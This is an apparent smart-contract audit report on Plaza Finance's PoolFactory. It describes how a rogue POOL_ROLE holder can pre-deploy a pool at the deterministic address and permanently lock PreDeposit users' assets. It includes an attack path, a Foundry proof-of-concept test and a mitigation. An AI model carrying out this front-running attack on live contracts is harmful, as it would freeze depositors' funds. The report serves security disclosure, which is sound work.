Magic Lace Mammoth

Medium

# Users' assets could be locked permanently at PreDeposit contract

### Summary

The `PoolFactory` contract allows pool creation through two methods: one via the `PreDeposit` contract and the other manually by a user with the `POOL_ROLE` using the `createPool()` function at `PoolFactory` contract.

The `PreDeposit` contract serves as a temporary holding area for assets, allowing users to deposit their assets before the contract creates a pool. During the pool creation process, the assets in the `PreDeposit` contract are transferred to the pool.  Deploying method of new pool is create2 and salt could be easy determined. 

According initial infromation in preaudit - `POOL_ROLE` is Untrusted party. (https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/README.md?plain=1#L18) Thus, unstrusted member of `POOL_ROLE` could deploy pool in advance of original pool. A a result assets at original pool will be locked forever due to revert during deployment(non zero bytecode at address)




### Root Cause

The root cause lies in the use of the create2 opcode for pool deployment, combined with the predictability of the deployment address. Deployment with create2 relies on a deterministic address derived from the contract's bytecode, a salt, and the deployer's address. If the `POOL_ROLE` is assigned to an untrusted party, they can preemptively deploy a  conflicting pool to the same address that the PreDeposit contract intends to use for the original pool. Since the deployment address is already occupied (non-zero bytecode at the address), any subsequent attempt to deploy the original pool will fail, causing the assets in the PreDeposit contract to become locked permanently.

[Contract `PoolFactory`](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/PoolFactory.sol#L124)

:
```solidity
  function createPool(
    PoolParams calldata params,
    uint256 reserveAmount,
    uint256 bondAmount,
    uint256 leverageAmount,
    string memory bondName,
    string memory bondSymbol,
    string memory leverageName,
    string memory leverageSymbol,
    bool pauseOnCreation
  ) external whenNotPaused() onlyRole(POOL_ROLE) returns (address) {
... 
    address pool = Create3.create3(
      keccak256(
        abi.encodePacked(
          params.reserveToken,
          params.couponToken,
          bondToken.symbol(),
          lToken.symbol()
        )
      ),
      abi.encodePacked(
        type(BeaconProxy).creationCode,
        abi.encode(poolBeacon, initData)
      )
    );
...
```


### Internal Pre-conditions

1. There are need more than one addresses with role `POOL_ROLE`.

### External Pre-conditions

1. One of the addresses with the `POOL_ROLE` could potentially act as a bad actor.

### Attack Path

1) Owner_1 grant role `POOL_ROLE` to contract `PreDeposit`, `owner_2` and `owner_3` ;
2) Users deposited reserve assets to `PreDeposit` contract.
3) Owner_2 reads end date of depeosit, right before this date he is going to call function `createPoo()` at `PoolFactory` contract with same same variable which set at `PreDeposit` contract:
```soidity
params.reserveToken,
params.couponToken,
bondToken.symbol(),
lToken.symbol()
```
4) When some user going to cal lfunction `createPool()` at `PreDeposit` contract it has to be reverted.
5) Users can't withdraw their assets due to the `checkDepositNotEnded` modifier at function `withdraw()`.

### Impact

Locked user assets at `PreDeposit` contract.

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {BondToken} from "../src/BondToken.sol";
import {PreDeposit} from "../src/PreDeposit.sol";
import {Distributor} from "../src/Distributor.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";

contract LockedAssets is Test {

  PreDeposit public preDeposit;
  Token public reserveToken;
  Token public couponToken;

  address user1 = address(2);
  address badActor = address(3);

  PoolFactory private poolFactory;
  PoolFactory.PoolParams private params;
  Distributor private distributor;

  address private deployer = address(0x5);
  address private minter = address(0x6);
  address private governance = address(0x7);
  
  address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);

  uint256 constant INITIAL_BALANCE = 1000 ether;
  uint256 constant RESERVE_CAP = 100 ether;
  uint256 constant DEPOSIT_AMOUNT = 10 ether;
  uint256 constant BOND_AMOUNT = 50 ether;
  uint256 constant LEVERAGE_AMOUNT = 50 ether;

  function setUp() public { 
    // Set block time to 10 days in the future to avoid block.timestamp to start from 0
    vm.warp(block.timestamp + 10 days);

    vm.startPrank(governance);
    
    reserveToken = new Token("Wrapped ETH", "WETH", false);
    couponToken = new Token("USDC", "USDC", false);
    vm.stopPrank();

    setUp_PoolFactory();

    vm.startPrank(governance);

    params = PoolFactory.PoolParams({
      fee: 0,
      reserveToken: address(reserveToken),
      couponToken: address(couponToken),
      distributionPeriod: 90 days,
      sharesPerToken: 2 * 10**6, 
      feeBeneficiary: address(0)
    });
    
    preDeposit = PreDeposit(Utils.deploy(address(new PreDeposit()), abi.encodeCall(PreDeposit.initialize, (
      params,
      address(poolFactory),
      block.timestamp,
      block.timestamp + 7 days,
      RESERVE_CAP,
      "bondName",
      "bondSymbol", 
      "leverageName",
      "leverageSymbol"
    ))));

    reserveToken.mint(user1, INITIAL_BALANCE);
    reserveToken.mint(badActor, INITIAL_BALANCE);

    poolFactory.grantRole(poolFactory.POOL_ROLE(), address(preDeposit));
    poolFactory.grantRole(poolFactory.POOL_ROLE(), address(badActor));
    
    vm.stopPrank();
  }

  function setUp_PoolFactory() internal {
    vm.startPrank(deployer);

    address contractDeployer = address(new Deployer());
    
    address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
    address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
    address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
    address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

    poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
      PoolFactory.initialize, 
      (governance, contractDeployer, ethPriceFeed, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
    )));

    vm.stopPrank();
  }

  function testAssetsLocked() public {

    vm.startPrank(governance);
    preDeposit.setBondAndLeverageAmount(BOND_AMOUNT, LEVERAGE_AMOUNT);

    vm.startPrank(user1);
    reserveToken.approve(address(preDeposit), DEPOSIT_AMOUNT);
    preDeposit.deposit(DEPOSIT_AMOUNT);
    
    vm.warp(block.timestamp + 8 days); // After deposit period  

    vm.startPrank(badActor);
    reserveToken.approve(address(poolFactory),type(uint256).max);
    poolFactory.createPool(params, 1, 1, 1,"bondName","bondSymbol","leverageName","leverageSymbol", true);

    vm.startPrank(user1);
    vm.expectRevert();
    preDeposit.createPool();

    vm.expectRevert();
    preDeposit.withdraw(DEPOSIT_AMOUNT);
  }

}

```

### Mitigation

To mitigate this issue it is necessary to add `msg.sender` as `salt` parametr to address generation during create2.